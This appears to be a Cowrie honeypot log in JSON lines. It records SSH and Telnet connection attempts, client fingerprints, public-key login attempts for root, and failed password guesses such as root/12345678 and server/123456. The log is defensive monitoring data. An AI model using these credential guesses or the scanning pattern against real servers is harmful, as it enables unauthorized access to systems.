{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:30:a3:c9:4d:94:39:69:b2:ba:e8:21:10:9c:fa:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3gSJUKAIzMXQQnPqdH4hVrU8FcBRPuo/hq6VOdaMJ2RiEHjrAEU5V4IDLrY5Mr7CVM3KbPuZqvZVI+2Sxb10ckI3yPINL+pGZJ1m0hpxar98WRKhBPQikl2O9AA+jMA1Kx5SlIl8qrG05QgBn2LLcUkqccAOnLTG10Ux5dvC1SOwSxsgH9GpCxp+vPlqOL9AgVx9/0P8yhoHhvMZ3/fD+eahE1VOh9/xByFYMJSaUnMtEvRGtAXmRwYV7YilFSN5bAhZ/3n/o7HhYxAR8AgnuyOZfG1rTQ+YYGv//bWedtfZZfphNtHSp6TvuM5hcez/L4rky1zW/ANPvkbTjUejMuqK1Y7AhEgeDWL0TEgXIwXjvQRXXbasKrLSM2i3838tNkhKE/JvenhhQphiUlhmPl9Kw8gPtEvq+boXFnLKYJcmT0WBkHxVWzHSEC1+KnPnIw0Wm1ByScjQS5lI+gudqHTPPhnJ5PwV3DNp65O6af11YBnDyFsUV3almsWx17lE4mCTICptNRz+xbAoaIRMp/BMp0/gLFPt2Gfd+WwGcHvJpUpTtS03zzLoyn9knu0KCc1yvbH2BDblA123ZAwFugFVSs4aiDI8EnwXTAPO0az3+Ai1BnxL6m5tNQDrlQJU7X9YedzmJTLzGsld8hErHNxLb6LcJ/gVzz7H1Wo1jUw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:35.604385Z","src_ip":"158.69.227.40","session":"5640f03d6235","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:74:60:84:a7:7d:06:61:e7:8a:b2:94:9a:dc:e7:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfI44FfjmaKoKMFN0EQRE4A4ztBttODTgEG4iX3+fsEF8jZjgZERyLQzJs+NRd0zJoDYAoM3DTWDCUcMlOlQDHMe2oeLjFfd4VYCfSK0hdbJj0OBQ0YhdVmi+ngRe+cn+F8qEmhfMsSsqWmvKcdgl3Jk+MDJQ+//HN/R68eskFs1xgc9FP+IhW5qJ903RYQr+ttW3g0DaPt3Uqp47H4Sw1LnQ6NvMmhoVGv9D3SXbDVwCoiIDqrij5E2PA3Qars02wV6wnh5pgvCIDjHnq7QbG7exBpkymTEA7Qr6ZcTbY3bp43JA0mfcbyBHoiaK67iqZGQzrTaKBsQCTqY5VBu6WKT+fzUs5/recSw+Je2s5m4YKBfowv8YRkETWQp4nrTBPlAUBCK81pw44eAFZLjc4+SIvvl8zpBYUfXnH+cLJU8AICG15wYdq+2LAfXHg5cg4xSQXYdNMAAuwhFQKxv0mDPYe9v6ykHhC6iRiMjE55PbgJXPzdCcCGTNH71ocfZOUVg6pqQvVmdfBddyq1XjGcryM6tPgEQtD1oKMvK9Vdn7aeCw8NhZrKz9WJUECZov584l2QdVPRnFiP5nJrD7sUpAHagrYyxIOo5wQeLuhGBaG9mJte2B39Ar6CezzfzcxEtSGnmCJBXnvtcLp75l4FQTYhwYK7r7yticjkaqSAw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:74:60:84:a7:7d:06:61:e7:8a:b2:94:9a:dc:e7:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:35.625927Z","src_ip":"158.69.227.40","session":"5640f03d6235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:74:60:84:a7:7d:06:61:e7:8a:b2:94:9a:dc:e7:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfI44FfjmaKoKMFN0EQRE4A4ztBttODTgEG4iX3+fsEF8jZjgZERyLQzJs+NRd0zJoDYAoM3DTWDCUcMlOlQDHMe2oeLjFfd4VYCfSK0hdbJj0OBQ0YhdVmi+ngRe+cn+F8qEmhfMsSsqWmvKcdgl3Jk+MDJQ+//HN/R68eskFs1xgc9FP+IhW5qJ903RYQr+ttW3g0DaPt3Uqp47H4Sw1LnQ6NvMmhoVGv9D3SXbDVwCoiIDqrij5E2PA3Qars02wV6wnh5pgvCIDjHnq7QbG7exBpkymTEA7Qr6ZcTbY3bp43JA0mfcbyBHoiaK67iqZGQzrTaKBsQCTqY5VBu6WKT+fzUs5/recSw+Je2s5m4YKBfowv8YRkETWQp4nrTBPlAUBCK81pw44eAFZLjc4+SIvvl8zpBYUfXnH+cLJU8AICG15wYdq+2LAfXHg5cg4xSQXYdNMAAuwhFQKxv0mDPYe9v6ykHhC6iRiMjE55PbgJXPzdCcCGTNH71ocfZOUVg6pqQvVmdfBddyq1XjGcryM6tPgEQtD1oKMvK9Vdn7aeCw8NhZrKz9WJUECZov584l2QdVPRnFiP5nJrD7sUpAHagrYyxIOo5wQeLuhGBaG9mJte2B39Ar6CezzfzcxEtSGnmCJBXnvtcLp75l4FQTYhwYK7r7yticjkaqSAw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:35.629657Z","src_ip":"158.69.227.40","session":"5640f03d6235","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f2:87:c2:36:4b:13:8f:6c:65:27:15:1f:21:66:f7:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdgzBZenYKpUiekWH2J97E5osN/BrbxDZUQv6vsGsWr+UTqWMXbDZafd5lGln01bAKxMJYMxPFGnr0s2JW9q5L4jeOvlcUEZV8HPQFY1Vu3Iu9HnSy9XAP61y9TgZjXHfN/Uofu95CG7ymNHx6kvirCcmD6qRUvjZgYFpG8sJVYAm7Rr7XeBluMlIUJWp17eFDBmmT2nRJGWcSRQWWErM1Alos/Km45EJiilPl3ijaOoFHzDsot1PSVRx6YBK5ir3z4K0wOiP4isqJG2VZpBkH5Y/kH6/2705xmX9OMJECpOGJ3qVjq+JO5Kydr9enZInhAS+yCJv9D0gwVwExSXOpnH2FkJcHrTrVZX7yh/VtA5oez9fneCLc+7UebRmvuO34B2lMiHj8Lo751N63LNVbjXEmXs9oH0QTx67k0A4+4DQWGP19vAF/mQnO8uC2H4Dbj7dsiQIabAEYyaFjgX3f2gOWK7rMZjc8zVQ3MmFBLCmGuAhko68N75XEyShx3xZDbOzdtJTKi4C+pW0Jtk2pDh3yzrlXPQAaGgzhkytK3HYgKT0AvQgQsxhcTM+aWC03Z5RRDvv3ZNTjn8XteaLMZdrDYy/c/Uen6AdbMstZoqJFw2RBf5wGM+Ttgwb3kiUy62pLlyeJpgTOYWcyqL6g6OtCaieTblW5zYv41tzilQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f2:87:c2:36:4b:13:8f:6c:65:27:15:1f:21:66:f7:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:35.651160Z","src_ip":"158.69.227.40","session":"5640f03d6235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f2:87:c2:36:4b:13:8f:6c:65:27:15:1f:21:66:f7:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDdgzBZenYKpUiekWH2J97E5osN/BrbxDZUQv6vsGsWr+UTqWMXbDZafd5lGln01bAKxMJYMxPFGnr0s2JW9q5L4jeOvlcUEZV8HPQFY1Vu3Iu9HnSy9XAP61y9TgZjXHfN/Uofu95CG7ymNHx6kvirCcmD6qRUvjZgYFpG8sJVYAm7Rr7XeBluMlIUJWp17eFDBmmT2nRJGWcSRQWWErM1Alos/Km45EJiilPl3ijaOoFHzDsot1PSVRx6YBK5ir3z4K0wOiP4isqJG2VZpBkH5Y/kH6/2705xmX9OMJECpOGJ3qVjq+JO5Kydr9enZInhAS+yCJv9D0gwVwExSXOpnH2FkJcHrTrVZX7yh/VtA5oez9fneCLc+7UebRmvuO34B2lMiHj8Lo751N63LNVbjXEmXs9oH0QTx67k0A4+4DQWGP19vAF/mQnO8uC2H4Dbj7dsiQIabAEYyaFjgX3f2gOWK7rMZjc8zVQ3MmFBLCmGuAhko68N75XEyShx3xZDbOzdtJTKi4C+pW0Jtk2pDh3yzrlXPQAaGgzhkytK3HYgKT0AvQgQsxhcTM+aWC03Z5RRDvv3ZNTjn8XteaLMZdrDYy/c/Uen6AdbMstZoqJFw2RBf5wGM+Ttgwb3kiUy62pLlyeJpgTOYWcyqL6g6OtCaieTblW5zYv41tzilQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:35.655069Z","src_ip":"158.69.227.40","session":"5640f03d6235","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:be:4f:fd:2b:80:a8:5f:13:ac:5e:51:aa:62:8c:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYovvtJqcCu0KGlAfQ08sCU1d6pvy4XIIjO1NV4SEcJdjmTXPd4U9J/is0FRKRx8Zuy56vd8CS584kdy4dgRiEtROinfAtqAWAGR3NHJ3JO6bVif8IP29vQnV1cUEqwN5XjVoNcyVsyDfGCIWVixANJwlo5U+AC5lWmmDJpbWKnuzvJYAxOU/4u6UzGajOkwC2wToWbSRYEQzdoVbQ4Ra9CaIRxiPOrkYpAxWfhS9ZQ5ol4Wg7gUef5w0kuR6ybD0dy+WcickpxoeKJLTOf/kUVFbbtVyLzNu28j6vhsDqd+mFbDVEOVOfjaQw5kDrGdZ23fARHxAXuezXu3gvopvzmlf97DfMAjdrlZ8MVO0prddyPf+Uyi6PPi0/i7agte0wdkn5dDO2wXQjGuchPaWyspW2qGDCF2Zr4vVhFXjjGOC2p8Lzimmdo7Kb7z7YLumNOZMblQNOWXogiJ5b4M8auYlJ4jB42+4idUW/kWASCTBmmGFiZ82qSEg2c5ko0LlLuvKoQO6ij884ZAF36cgKwyJnZmqmMtSsZJggNwaut0LfIQwZ90csMXZJUatxntki6w4B8XT0QI8P7MYQO62uCtq1yMOR/ZN4odLAaX0lClGGqWnQaLQpxDmN140tsXybG5hD3qAdXxtQ1OS1dUt9ok/JZFaaS/eKYbdF9/Z5Bw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:be:4f:fd:2b:80:a8:5f:13:ac:5e:51:aa:62:8c:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:35.678346Z","src_ip":"158.69.227.40","session":"5640f03d6235","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:be:4f:fd:2b:80:a8:5f:13:ac:5e:51:aa:62:8c:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYovvtJqcCu0KGlAfQ08sCU1d6pvy4XIIjO1NV4SEcJdjmTXPd4U9J/is0FRKRx8Zuy56vd8CS584kdy4dgRiEtROinfAtqAWAGR3NHJ3JO6bVif8IP29vQnV1cUEqwN5XjVoNcyVsyDfGCIWVixANJwlo5U+AC5lWmmDJpbWKnuzvJYAxOU/4u6UzGajOkwC2wToWbSRYEQzdoVbQ4Ra9CaIRxiPOrkYpAxWfhS9ZQ5ol4Wg7gUef5w0kuR6ybD0dy+WcickpxoeKJLTOf/kUVFbbtVyLzNu28j6vhsDqd+mFbDVEOVOfjaQw5kDrGdZ23fARHxAXuezXu3gvopvzmlf97DfMAjdrlZ8MVO0prddyPf+Uyi6PPi0/i7agte0wdkn5dDO2wXQjGuchPaWyspW2qGDCF2Zr4vVhFXjjGOC2p8Lzimmdo7Kb7z7YLumNOZMblQNOWXogiJ5b4M8auYlJ4jB42+4idUW/kWASCTBmmGFiZ82qSEg2c5ko0LlLuvKoQO6ij884ZAF36cgKwyJnZmqmMtSsZJggNwaut0LfIQwZ90csMXZJUatxntki6w4B8XT0QI8P7MYQO62uCtq1yMOR/ZN4odLAaX0lClGGqWnQaLQpxDmN140tsXybG5hD3qAdXxtQ1OS1dUt9ok/JZFaaS/eKYbdF9/Z5Bw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:35.682146Z","src_ip":"158.69.227.40","session":"5640f03d6235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:35.704728Z","src_ip":"158.69.227.40","session":"5640f03d6235","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00243878364563,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:35.720383Z","src_ip":"186.189.112.16","session":"05a33445556e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:35.960883Z","src_ip":"43.163.119.215","session":"faa2f0827196","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":46966,"dst_ip":"159.203.135.109","dst_port":22,"session":"785ab89ffd1e","protocol":"ssh","message":"New connection: 103.75.199.4:46966 (159.203.135.109:22) [session: 785ab89ffd1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:36.710437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:36.715592Z","src_ip":"103.75.199.4","session":"785ab89ffd1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:36.807405Z","src_ip":"103.75.199.4","session":"785ab89ffd1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.189.112.16","src_port":15533,"dst_ip":"10.17.0.5","dst_port":23,"session":"3975aef67c58","protocol":"telnet","message":"New connection: 186.189.112.16:15533 (10.17.0.5:23) [session: 3975aef67c58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:37.032087Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:37.081283Z","src_ip":"103.75.199.4","session":"785ab89ffd1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:37.207987Z","src_ip":"43.163.119.215","session":"faa2f0827196","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.218.12.64","src_port":35680,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f35a75727e0","protocol":"telnet","message":"New connection: 189.218.12.64:35680 (159.203.135.109:23) [session: 3f35a75727e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:37.549983Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:38.176336Z","src_ip":"103.75.199.4","session":"785ab89ffd1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":46708,"dst_ip":"10.17.0.5","dst_port":22,"session":"9847c157e723","protocol":"ssh","message":"New connection: 43.163.119.215:46708 (10.17.0.5:22) [session: 9847c157e723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:38.421042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:38.438146Z","src_ip":"43.163.119.215","session":"9847c157e723","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:38.684500Z","src_ip":"43.163.119.215","session":"9847c157e723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:39.421964Z","src_ip":"43.163.119.215","session":"9847c157e723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:40.670475Z","src_ip":"43.163.119.215","session":"9847c157e723","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":45602,"dst_ip":"10.17.0.5","dst_port":22,"session":"20e0370a2f8e","protocol":"ssh","message":"New connection: 67.102.183.113:45602 (10.17.0.5:22) [session: 20e0370a2f8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:43.911134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:43.915140Z","src_ip":"67.102.183.113","session":"20e0370a2f8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:43.984373Z","src_ip":"67.102.183.113","session":"20e0370a2f8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lover","message":"login attempt [root/lover] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:44.292779Z","src_ip":"67.102.183.113","session":"20e0370a2f8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:45.364803Z","src_ip":"67.102.183.113","session":"20e0370a2f8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":46724,"dst_ip":"10.17.0.5","dst_port":22,"session":"be2bc8268d5b","protocol":"ssh","message":"New connection: 43.163.119.215:46724 (10.17.0.5:22) [session: be2bc8268d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:45.965744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:45.970666Z","src_ip":"43.163.119.215","session":"be2bc8268d5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:46.208314Z","src_ip":"43.163.119.215","session":"be2bc8268d5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:46.918698Z","src_ip":"43.163.119.215","session":"be2bc8268d5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:48.159296Z","src_ip":"43.163.119.215","session":"be2bc8268d5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.154099464416504,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:50.703975Z","src_ip":"189.218.12.64","session":"3f35a75727e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":36078,"dst_ip":"10.17.0.5","dst_port":22,"session":"7955328699fd","protocol":"ssh","message":"New connection: 43.163.119.215:36078 (10.17.0.5:22) [session: 7955328699fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:14:52.486670Z"}
